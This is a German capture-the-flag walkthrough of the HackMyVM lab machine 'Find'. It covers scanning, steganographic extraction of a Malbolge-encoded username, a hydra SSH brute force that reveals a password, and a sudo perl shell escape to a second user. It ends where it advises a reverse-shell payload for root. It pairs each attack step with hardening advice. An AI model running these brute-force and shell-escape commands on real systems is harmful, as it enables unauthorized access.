Find - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
nikto
stegoveritas
cat
Online Malbolge Decoder
hydra
ssh
find
ss
sudo
perl
GTFOBins (Website)
python3
mkdir
vi / nano
nc (netcat)

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`. ARP-Anfragen werden an das lokale Subnetz gesendet, um IP- und MAC-Adressen zu ermitteln.

Bewertung: Ein Host wird unter der IP `192.168.2.119` gefunden. Die MAC-Adresse `08:00:27:b8:66:6c` gehört zu "PCS Systemtechnik GmbH", was ein starker Indikator für eine Oracle VirtualBox virtuelle Maschine ist.

Empfehlung (Pentester): Ziel identifiziert. Führen Sie einen Port-Scan auf `192.168.2.119` durch, um offene Dienste zu finden. Notieren Sie sich den Hinweis auf VirtualBox.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung von ARP-Traffic kann helfen. Stellen Sie sicher, dass VMs genauso sicher konfiguriert sind wie physische Maschinen.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1	00:50:56:c0:00:08	VMware, Inc.
192.168.2.2	00:50:56:f4:7d:5f	VMware, Inc.
192.168.2.119	08:00:27:b8:66:6c	PCS Systemtechnik GmbH
192.168.2.254	00:50:56:f8:46:8c	VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.842 seconds (138.98 hosts/sec). 4 responded
                    

Analyse: Ein umfassender Nmap-Scan wird auf das Ziel `192.168.2.119` angewendet. * `-sS`: TCP SYN Scan. * `-sC`: Standard-Skripte. * `-T5`: Sehr schnelles Timing. * `-sV`: Versionserkennung. * `-A`: OS-Erkennung, Version, Skripte, Traceroute. * `-p-`: Scan aller TCP-Ports.

Bewertung: Nmap findet zwei offene Ports: * **Port 22/tcp:** OpenSSH 7.9p1 (Debian 10). Standard-SSH-Dienst. * **Port 80/tcp:** Apache httpd 2.4.38 (Debian). Eine Standard-Apache-Seite wird angezeigt ("It works"). Die OS-Erkennung deutet auf Linux (Kernel 4.x/5.x) hin und bestätigt die VirtualBox MAC-Adresse.

Empfehlung (Pentester): Der Webserver auf Port 80 ist der Hauptangriffspunkt. Untersuchen Sie die Webseite und suchen Sie nach versteckten Verzeichnissen oder Dateien. SSH auf Port 22 ist ein sekundäres Ziel.
Empfehlung (Admin): Sichern Sie SSH (starke Passwörter/Schlüssel, Fail2ban). Sichern Sie Apache (Konfiguration prüfen, Standardseite ersetzen, nicht benötigte Module deaktivieren). Halten Sie alle Dienste aktuell.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.119 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-05 11:40 CEST
Nmap scan report for 192.168.2.119
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6e:f7:90:04:84:0d:cd:1e:5d:2e:da:b1:51:d9:bf:57 (RSA)
|   256 39:5a:66:38:f7:64:9a:94:dd:bc:b6:fb:f8:e7:3f:87 (ECDSA)
|_  256 8c:26:e7:26:62:77:16:40:fb:b5:cf:a6:1c:e0:f6:9d (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:B8:66:6C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms 192.168.2.119

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds
                    

Web Enumeration

Analyse: `gobuster` wird zur Entdeckung von Verzeichnissen und Dateien auf dem Webserver verwendet. * `dir`: Verzeichnis/Datei-Modus. * `-u "http://192.168.2.119"`: Ziel-URL. * `-w /usr/share/seclists/.../directory-list-2.3-medium.txt`: Wortliste. * `-e`: Erweiterter Modus (doppelt angegeben). * `-x ...`: Dateiendungen. * `-t 100`: Threads. * `-s "200,204,301,302,307,401"`: Nur Ergebnisse mit diesen Statuscodes anzeigen (schließt 403 standardmäßig aus, im Gegensatz zur Gobuster-Standardeinstellung).

Bewertung: Gobuster findet: * `/index.html`: Die Apache-Standardseite. * `/cat.jpg`: Eine Bilddatei. Bilder können manchmal Metadaten oder versteckte Daten (Steganographie) enthalten. Sehr interessant! * `/manual`: Leitet weiter zu `/manual/` (Status 301). Dies ist wahrscheinlich das Apache-Handbuch. * `/robots.txt`: Eine Datei, die Suchmaschinen Anweisungen gibt, welche Bereiche nicht indiziert werden sollen. Kann Hinweise auf versteckte Verzeichnisse geben (hier aber leer oder uninteressant, Inhalt nicht gezeigt).

Empfehlung (Pentester): Untersuchen Sie `/cat.jpg` genauer auf Steganographie oder Metadaten. Überprüfen Sie `/manual/` auf interessante Informationen (obwohl es oft nur das Standard-Apache-Handbuch ist). Analysieren Sie `/robots.txt`. Führen Sie weitere Web-Scans mit Tools wie `nikto` durch.
Empfehlung (Admin): Entfernen Sie das Apache-Handbuch (`/manual`), wenn es nicht benötigt wird. Stellen Sie sicher, dass `/robots.txt` keine sensiblen Pfade preisgibt. Entfernen Sie unnötige Dateien (wie `/cat.jpg`, falls es nicht zur Webseite gehört) aus dem Web-Root.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.119" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.119
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv,git,php,html,xml,zip,7z,tar,bak
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster
===============================================================
http://192.168.2.119/index.html           (Status: 200) [Size: 10701]
http://192.168.2.119/cat.jpg              (Status: 200) [Size: 35137]
http://192.168.2.119/manual               (Status: 301) [Size: 315] [--> http://192.168.2.119/manual/]
http://192.168.2.119/robots.txt           (Status: 200) [Size: 13]
===============================================================
Finished
===============================================================
                     

Analyse: `nikto` wird verwendet, um den Webserver auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse zu scannen. `-h http://192.168.2.119` gibt das Ziel an.

Bewertung: Nikto liefert mehrere Ergebnisse: * Bestätigt den Server als Apache/2.4.38 (Debian). * Meldet fehlende Security Header (`X-Frame-Options`, `X-XSS-Protection`, `X-Content-Type-Options`). Dies erhöht das Risiko von Clickjacking und bestimmten XSS-Angriffen. * Findet keine CGI-Verzeichnisse (Standardprüfung). * Vermutet ein ETag-Inode-Leak (kann interne Pfade/Strukturen offenlegen). * Listet erlaubte HTTP-Methoden auf. * Bestätigt das Vorhandensein des Apache-Handbuchs (`/manual/`) und Directory Indexing in `/manual/images/`. * Findet eine Standard-Apache-Datei (`/icons/README`). Die Funde sind meist informativ und deuten auf eine Standardkonfiguration hin. Fehlende Security Header sind eine Schwachstelle, aber nicht direkt für einen initialen Zugriff ausnutzbar.

Empfehlung (Pentester): Die Nikto-Ergebnisse bestätigen frühere Funde. Konzentrieren Sie sich weiterhin auf `/cat.jpg`. Überprüfen Sie die `/manual/`-Inhalte, falls noch nicht geschehen.
Empfehlung (Admin): Konfigurieren Sie die fehlenden Security Header (X-Frame-Options, X-XSS-Protection, X-Content-Type-Options, Content-Security-Policy) im Apache, um die Sicherheit gegen Client-seitige Angriffe zu erhöhen. Deaktivieren Sie Directory Indexing, wenn nicht benötigt. Entfernen Sie Standarddateien und -verzeichnisse wie `/icons/README` und `/manual/`. Konfigurieren Sie ETags, um keine Inode-Informationen preiszugeben (`FileETag MTime Size` statt `FileETag INode MTime Size`).

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.119
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.119
+ Target Hostname:    192.168.2.119
+ Target Port:        80
+ Start Time:         2022-10-05 11:46:17 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5de996482e675, mtime: gzip
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2022-10-05 11:47:30 (GMT2) (73 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Steganography

Analyse: Basierend auf dem Fund `/cat.jpg` wird `stegoveritas` verwendet, ein Tool zur automatisierten Steganalyse von Bildern. Es wendet verschiedene Techniken an, um versteckte Daten aufzudecken.

Bewertung: Das Tool meldet zunächst fehlende Abhängigkeiten (`foremost`, `libexempi3`), die für bestimmte Extraktionstechniken benötigt werden. Trotzdem läuft es weiter und führt grundlegende Analysen durch. Es identifiziert das Bildformat als JPEG und den Farbmodus als RGB. Entscheidend ist der Fund von "Trailing Data" - Daten, die am Ende der eigentlichen JPEG-Bilddaten angehängt wurden. Das Tool speichert diese Daten in `trailing_data.bin` im `results`-Verzeichnis. Der angezeigte Byte-String ist der Inhalt dieser Trailing Data.

Empfehlung (Pentester): Installieren Sie die fehlenden Abhängigkeiten (`sudo apt install foremost libimage-exiftool-perl`) für zukünftige, umfassendere Analysen mit `stegoveritas`. Untersuchen Sie den Inhalt der `trailing_data.bin` genauer. Analysieren Sie auch die anderen von `stegoveritas` erzeugten Bilder im `results`-Verzeichnis auf visuelle Anomalien.
Empfehlung (Admin): Seien Sie sich bewusst, dass Bilddateien versteckte Daten enthalten können. Wenn Bilder von nicht vertrauenswürdigen Quellen hochgeladen werden können, sollten diese serverseitig validiert und neu kodiert werden, um angehängte Daten oder manipulierte Metadaten zu entfernen.

┌──(root㉿cyber)-[~] └─# stegoveritas cat.jpg
INFO:StegoVeritas:Starting StegoVeritas -> version 1.0.1
INFO:StegoVeritas:Loading Modules: ['SVImage', 'MultiHandler']
ERROR:StegoVeritas:Missing the following required packages: foremost, libexempi3
ERROR:StegoVeritas:Either install them manually or run 'stegoveritas_install_deps'.
INFO:SVImage:Processing cat.jpg
INFO:SVImage:Running for cat.jpg
Running Module: SVImage
+------------------+------+
|   Image Format   | Mode |
+------------------+------+
| JPEG (ISO 10918) | RGB  |
+------------------+------+
INFO:SVImage:Performing Transforms
INFO:SVImage:Performing basic image transforms
INFO:SVImage:Extracting Bit Planes
INFO:SVImage:Extracting Color Planes
INFO:SVImage:Looking for Trailing Data
Trailing Data Discovered... Saving
b'\n\n\n\n\n\n\n>C<;_"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJ`_dcba`_^]\\Uy
                

Analyse: Der Pentester wechselt in das von `stegoveritas` erstellte `results`-Verzeichnis und listet dessen Inhalt auf. Anschließend wird der Inhalt der Datei `trailing_data.bin` (die die am Ende von `cat.jpg` gefundenen Daten enthält) mit `cat` angezeigt.

Bewertung: Das `results`-Verzeichnis enthält viele Bilddateien, die verschiedene Transformationen von `cat.jpg` darstellen (Farbkanäle, Filter etc.). Die Datei `trailing_data.bin` enthält den zuvor identifizierten Byte-String. Dieser String sieht nicht nach normalem Text aus und erfordert weitere Analyse oder Dekodierung.

Empfehlung (Pentester): Versuchen Sie, den Inhalt von `trailing_data.bin` zu identifizieren. Ist es Code? Verschlüsselter Text? Eine spezielle Kodierung? Suchen Sie nach Mustern oder bekannten Headern. Recherchieren Sie online nach Teilen des Strings. Da er kryptisch aussieht, testen Sie verschiedene esoterische Programmiersprachen oder Chiffren.
Empfehlung (Admin): Die Untersuchung bestätigt, dass Daten versteckt wurden. Entfernen Sie die Originaldatei oder ersetzen Sie sie durch eine saubere Version.

┌──(root㉿cyber)-[~] └─# cd results
┌──(root㉿cyber)-[~/results] └─# ll
insgesamt 9264
-rw-r--r-- 1 root root 312459  5. Okt 12:01 cat.jpg_autocontrast.png
-rw-r--r-- 1 root root  49932  5. Okt 12:01 cat.jpg_Blue_0.png
-rw-r--r-- 1 root root  49203  5. Okt 12:01 cat.jpg_Blue_1.png
-rw-r--r-- 1 root root  47085  5. Okt 12:01 cat.jpg_Blue_2.png
-rw-r--r-- 1 root root  41985  5. Okt 12:01 cat.jpg_Blue_3.png
-rw-r--r-- 1 root root  37357  5. Okt 12:01 cat.jpg_Blue_4.png
-rw-r--r-- 1 root root  34483  5. Okt 12:01 cat.jpg_Blue_5.png
-rw-r--r-- 1 root root  25526  5. Okt 12:01 cat.jpg_Blue_6.png
-rw-r--r-- 1 root root  18673  5. Okt 12:01 cat.jpg_Blue_7.png
-rw-r--r-- 1 root root 174275  5. Okt 12:01 cat.jpg_blue_plane.png
-rw-r--r-- 1 root root 388562  5. Okt 12:01 cat.jpg_Contrast.png
-rw-r--r-- 1 root root 312459  5. Okt 12:01 cat.jpg_equalize.png
drwxr-xr-x 3 root root   4096  5. Okt 12:01 extract
-rw-r--r-- 1 root root  50297  5. Okt 12:01 cat.jpg_Green_0.png
-rw-r--r-- 1 root root  49157  5. Okt 12:01 cat.jpg_Green_1.png
-rw-r--r-- 1 root root  46703  5. Okt 12:01 cat.jpg_Green_2.png
-rw-r--r-- 1 root root  42518  5. Okt 12:01 cat.jpg_Green_3.png
-rw-r--r-- 1 root root  38989  5. Okt 12:01 cat.jpg_Green_4.png
-rw-r--r-- 1 root root  36180  5. Okt 12:01 cat.jpg_Green_5.png
-rw-r--r-- 1 root root  29315  5. Okt 12:01 cat.jpg_Green_6.png
-rw-r--r-- 1 root root  21242  5. Okt 12:01 cat.jpg_Green_7.png
-rw-r--r-- 1 root root 159191  5. Okt 12:01 cat.jpg_green_plane.png
-rw-r--r-- 1 root root 269851  5. Okt 12:01 cat.jpg_Invert.png
-rw-r--r-- 1 root root 171830  5. Okt 12:01 cat.jpg_lsb_Blue.png
-rw-r--r-- 1 root root 171830  5. Okt 12:01 cat.jpg_lsb_Green.png
-rw-r--r-- 1 root root 171830  5. Okt 12:01 cat.jpg_lsb_Red.png
-rw-r--r-- 1 root root 171830  5. Okt 12:01 cat.jpg_lsb_RGB.png
-rw-r--r-- 1 root root 312459  5. Okt 12:01 cat.jpg_posterized.png
-rw-r--r-- 1 root root  50359  5. Okt 12:01 cat.jpg_Red_0.png
-rw-r--r-- 1 root root  49138  5. Okt 12:01 cat.jpg_Red_1.png
-rw-r--r-- 1 root root  44880  5. Okt 12:01 cat.jpg_Red_2.png
-rw-r--r-- 1 root root  37901  5. Okt 12:01 cat.jpg_Red_3.png
-rw-r--r-- 1 root root  31645  5. Okt 12:01 cat.jpg_Red_4.png
-rw-r--r-- 1 root root  24024  5. Okt 12:01 cat.jpg_Red_5.png
-rw-r--r-- 1 root root  15439  5. Okt 12:01 cat.jpg_Red_6.png
-rw-r--r-- 1 root root  10519  5. Okt 12:01 cat.jpg_Red_7.png
-rw-r--r-- 1 root root 159807  5. Okt 12:01 cat.jpg_red_plane.png
-rw-r--r-- 1 root root 388562  5. Okt 12:01 cat.jpg_Sharpen.png
-rw-r--r-- 1 root root 269851  5. Okt 12:01 cat.jpg_Smooth.png
-rw-r--r-- 1 root root 307807  5. Okt 12:01 cat.jpg_solarized.png
drwxr-xr-x 2 root root   4096  5. Okt 12:01 keepers
-rw-r--r-- 1 root root    198  5. Okt 12:01 trailing_data.bin
                    
┌──(root㉿cyber)-[~/results] └─# cat trailing_data.bin


>C<;_"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJ`_dcba`_^]\Uy
                

Analyse: Der Pentester hat den kryptischen String aus `trailing_data.bin` recherchiert und herausgefunden, dass es sich um Code in der esoterischen Programmiersprache "Malbolge" handelt. Ein Online-Malbolge-Decoder (malbolge.doleczek.pl) wird verwendet, um den Code auszuführen bzw. zu interpretieren.

Bewertung: Der Malbolge-Decoder liefert die Ausgabe: `missyred`. Dies ist höchstwahrscheinlich ein Benutzername für das Zielsystem. Das Verstecken eines Benutzernamens in Malbolge-Code als Trailing Data in einer Bilddatei ist eine typische CTF-Herausforderung.

Empfehlung (Pentester): Verwenden Sie den gefundenen Benutzernamen `missyred`, um einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) mit einer gängigen Passwortliste wie `rockyou.txt` durchzuführen.
Empfehlung (Admin): Dies ist ein CTF-spezifisches Szenario. In realen Umgebungen ist das Verstecken von Zugangsdaten auf diese Weise unwahrscheinlich, aber es unterstreicht die Notwendigkeit, verdächtige Dateien oder Datenanhänge zu untersuchen.

# Recherche und Dekodierung (externes Tool)

# Gefundener String (Malbolge Code):
>C<;_"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJ`_dcba`_^]\Uymissyred
                     

Initial Access (missyred)

Analyse: Mit dem Benutzernamen `missyred` wird `hydra` verwendet, um das SSH-Passwort zu brute-forcen. * `-l missyred`: Ziel-Benutzername. * `-P /usr/share/wordlists/rockyou.txt`: Passwortliste. * `ssh://192.168.2.119:22`: Ziel (Protokoll, IP, Port). * `-t 32`: Anzahl der parallelen Tasks (Threads). * `-F`: Beenden, sobald ein gültiges Passwort gefunden wurde.

Bewertung: Hydra ist erfolgreich und findet das Passwort `iloveyou` für den Benutzer `missyred`. Dies ist ein sehr häufig vorkommendes Passwort und unterstreicht die Schwäche der Passwortwahl.

Empfehlung (Pentester): Loggen Sie sich sofort mit den gefundenen Zugangsdaten `missyred`:`iloveyou` per SSH ein.
Empfehlung (Admin): Erzwingen Sie starke Passwortrichtlinien. Verbieten Sie die Verwendung gängiger oder kompromittierter Passwörter. Ändern Sie das Passwort für `missyred` sofort. Implementieren Sie `fail2ban` oder ähnliche Tools, um Brute-Force-Angriffe auf SSH zu erschweren. Erwägen Sie die Deaktivierung der Passwort-Authentifizierung zugunsten von Schlüssel-Authentifizierung.

┌──(root㉿cyber)-[~] └─# hydra -l missyred -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.119:22 -t 32 -F
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these  ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-05 12:08:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 32 tasks per 1 server, overall 32 tasks, 14344401 login tries (l:1/p:14344401), ~448263 tries per task
[DATA] attacking ssh://192.168.2.119:22/
[22][ssh] host: 192.168.2.119   login: missyred   password: iloveyou
[STATUS] attack finished for 192.168.2.119 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-05 12:08:55
                    

Analyse: Der Pentester meldet sich mit den gefundenen Zugangsdaten `missyred`:`iloveyou` über SSH am Zielsystem an.

Bewertung: Der Login ist erfolgreich. Der Willkommensbildschirm zeigt Debian Linux (Kernel 4.19.0) und den Hostnamen `find`. Der Angreifer hat nun eine Shell als Benutzer `missyred`.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `missyred`. Ziele sind das Finden der User-Flag und Wege zur Rechteausweitung.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Untersuchen Sie verdächtige Anmeldungen. Verstärken Sie die Passwortrichtlinien.

┌──(root㉿cyber)-[~/results] └─# ssh missyred@192.168.2.119
The authenticity of host '192.168.2.119 (192.168.2.119)' can't be established.
ED25519 key fingerprint is SHA256:ngitto49+w4opZOyanphldodz5QJ4f78e4PabKbqFu0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.119' (ED25519) to the list of known hosts.
missyred@192.168.2.119's password: iloveyou
Linux find 4.19.0-19-amd64 #1 SMP Debian 4.19.232-1 (2022-03-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 11 13:34:44 2022 from 192.168.100.240
                    
missyred@find:~$

Privilege Escalation (missyred -> kings)

Analyse: Die lokale Enumeration beginnt mit der Suche nach SUID-Binaries, einem gängigen Vektor für Rechteausweitungen.

Bewertung: Die Ausgabe zeigt wieder nur Standard-SUID-Binaries unter Linux/Debian. Es gibt keine offensichtlich anfälligen oder ungewöhnlichen Programme in der Liste.

Empfehlung (Pentester): Suchen Sie weiter nach anderen Eskalationsmöglichkeiten: `sudo -l`, Cronjobs, Kernel-Version, Konfigurationsfehler, Passwörter in Dateien.
Empfehlung (Admin): Halten Sie das System aktuell und entfernen Sie unnötige SUID-Berechtigungen.

missyred@find:~$ find / -type f -perm -4000 -ls 2>/dev/null
   275452    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
     3749     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   272107     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   259654     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
   259652     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
   281402    156 -rwsr-xr-x   1 root     root         157192 Jan 20  2021 /usr/bin/sudo
   263577     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
   259651     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
   263240     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
   259656     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
   263575     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
   263093     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
                     

Analyse: Es wird versucht, die User-Flag `user.txt` im Home-Verzeichnis des Benutzers `kings` zu lesen. Anschließend wird nach allen Dateien gesucht, die dem Benutzer `kings` gehören, und mit `ss -tulpe` nach Netzwerkdiensten gesucht. Schließlich wird erneut nach `.txt`-Dateien gesucht.

Bewertung: * `cat /home/kings/user.txt`: Schlägt fehl ("Permission denied"). `missyred` hat keine Leserechte auf die Flag von `kings`. * `find / -user kings`: Listet das Home-Verzeichnis und die darin enthaltenen Dateien von `kings` auf, einschließlich `user.txt`. Dies bestätigt, dass `kings` der Besitzer der Flag ist. * `ss -tulpe`: Zeigt nur die erwarteten Dienste SSH (Port 22) und HTTP (Port 80), sowie `bootpc` (DHCP-Client). Keine versteckten oder ungewöhnlichen Dienste. * `find / -type f -name \*.txt`: Findet nur `/home/kings/user.txt`. Diese Schritte deuten darauf hin, dass der nächste Schritt die Eskalation zum Benutzer `kings` sein muss.

Empfehlung (Pentester): Überprüfen Sie die `sudo`-Rechte für `missyred` (`sudo -l`), um zu sehen, ob es einen Weg gibt, Befehle als `kings` auszuführen.
Empfehlung (Admin): Stellen Sie sicher, dass die Dateiberechtigungen korrekt gesetzt sind (Benutzer sollten nicht auf Flags oder sensible Daten anderer Benutzer zugreifen können). Überprüfen Sie `sudo`-Regeln regelmäßig.

missyred@find:~$ cd /home/kings
missyred@find:/home/kings$ cat user.txt
cat: user.txt: Permission denied
missyred@find:/home/kings$ find / -user kings 2>/dev/null
/home/kings
/home/kings/.bash_logout
/home/kings/user.txt
/home/kings/.local
/home/kings/.local/share
/home/kings/.profile
/home/kings/.bashrc
                     
missyred@find:/home/kings$ ss -tulpe
Netid    State     Recv-Q    Send-Q       Local Address:Port         Peer Address:Port     Process
udp      UNCONN    0         0                  0.0.0.0:68              0.0.0.0:*         users:(("dhclient",pid=354,fd=6)) ino:13560 sk:1 <->
tcp      LISTEN    0         128                0.0.0.0:22              0.0.0.0:*         users:(("sshd",pid=552,fd=3)) ino:13915 sk:2 <->
tcp      LISTEN    0         128                   [::]:80                 [::]:*         users:(("apache2",pid=600,fd=4),("apache2",pid=599,fd=4),("apache2",pid=598,fd=4),("apache2",pid=597,fd=4),("apache2",pid=596,fd=4),("apache2",pid=557,fd=4)) ino:13989 sk:4 v6only:0 <->
tcp      LISTEN    0         128                   [::]:22                 [::]:*         users:(("sshd",pid=552,fd=4)) ino:13926 sk:3 v6only:1 <->
                     
missyred@find:/home/kings$ find / -type f -name \*.txt 2>/dev/null
/home/kings/user.txt

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Privilegien des Benutzers `missyred` zu überprüfen. Das Passwort (`iloveyou`) wird abgefragt.

Bewertung: Ein entscheidender Fund! `missyred` darf den Befehl `/usr/bin/perl` als Benutzer `kings` ausführen: `(kings) /usr/bin/perl`. Da `perl` eine vollwertige Skriptsprache ist, kann dies leicht zur Ausführung beliebiger Befehle als `kings` missbraucht werden, insbesondere zum Starten einer Shell.

Empfehlung (Pentester): Nutzen Sie GTFOBins oder ähnliche Ressourcen, um herauszufinden, wie man mit `sudo perl` eine Shell als Zielbenutzer (`kings`) erhält. Der typische Befehl ist `sudo -u kings perl -e 'exec "/bin/sh";'`.
Empfehlung (Admin): Diese `sudo`-Regel ist sehr unsicher. Vermeiden Sie es, Interpretersprachen (`perl`, `python`, `ruby`, `bash` etc.) über `sudo` ausführbar zu machen, da dies fast immer einer vollständigen Shell-Übernahme gleichkommt. Wenn `missyred` ein bestimmtes Perl-Skript als `kings` ausführen muss, geben Sie den vollständigen Pfad zum *Skript* in der `sudo`-Regel an, nicht zum Interpreter selbst. Entfernen Sie diese Regel oder schränken Sie sie stark ein.

missyred@find:/home/kings$ sudo -l
[sudo] password for missyred: iloveyou
Matching Defaults entries for missyred on find:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User missyred may run the following commands on find:
    (kings) /usr/bin/perl
                    

Analyse: Basierend auf der `sudo -l`-Ausgabe und der Recherche auf GTFOBins wird der Befehl `sudo -u kings perl -e 'exec "/bin/sh";'` ausgeführt, um eine Shell als Benutzer `kings` zu starten. `-u kings` gibt den Zielbenutzer an. `-e 'exec "/bin/sh";'` weist Perl an, direkt eine `/bin/sh`-Shell zu starten und den Perl-Prozess damit zu ersetzen.

Bewertung: Der Befehl ist erfolgreich! Der Prompt ändert sich zu `$`. Der Befehl `id` bestätigt, dass der Benutzer nun `uid=1002(kings)` ist. Der Wechsel zu `kings` war erfolgreich. Anschließend wird ins Home-Verzeichnis gewechselt (`cd ~`) und die User-Flag mit `cat user.txt` erfolgreich ausgelesen: `f4e690f638c01bd8a19fb1349d40519c`.

Empfehlung (Pentester): User-Flag gesichert. Setzen Sie die Enumeration als `kings` fort. Überprüfen Sie `sudo -l` erneut als `kings`, suchen Sie nach weiteren Hinweisen im Home-Verzeichnis oder systemweit, um Root-Rechte zu erlangen.
Empfehlung (Admin): Die unsichere `sudo`-Regel für `perl` hat diese Eskalation ermöglicht und muss dringend behoben werden.

missyred@find:/home/kings$ sudo -u kings perl -e 'exec "/bin/sh";'
$ id
uid=1002(kings) gid=1006(kings) groups=1006(kings),1005(kingg)
$ cd ~
kings@find:~$ cat user.txt
f4e690f638c01bd8a19fb1349d40519c

Privilege Escalation (kings -> root)

Analyse: Als Benutzer `kings` wird erneut `sudo -l` ausgeführt, um nach weiteren `sudo`-Rechten zu suchen.

Bewertung: Wieder ein kritischer Fund! Der Benutzer `kings` darf das Skript `/opt/boom/boom.sh` als `root` (`(ALL)`) ohne Passwort (`NOPASSWD:`) ausführen. Wenn der Benutzer `kings` Schreibrechte auf dieses Skript oder das Verzeichnis `/opt/boom` hat, kann er den Inhalt des Skripts durch eine eigene Payload ersetzen und diese dann als `root` ausführen lassen.

Empfehlung (Pentester): Überprüfen Sie die Berechtigungen von `/opt/boom/boom.sh` und `/opt/boom` (`ls -ld /opt/boom /opt/boom/boom.sh`). Wenn Schreibrechte vorhanden sind, ersetzen Sie den Inhalt von `boom.sh` mit einer Reverse-Shell-Payload oder einem Befehl zum Hinzufügen eines neuen Root-Benutzers. Führen Sie dann `sudo /opt/boom/boom.sh` aus. Stabilisieren Sie die Shell mit `python3` für bessere Interaktion, z.B. mit Editoren wie `vi`.
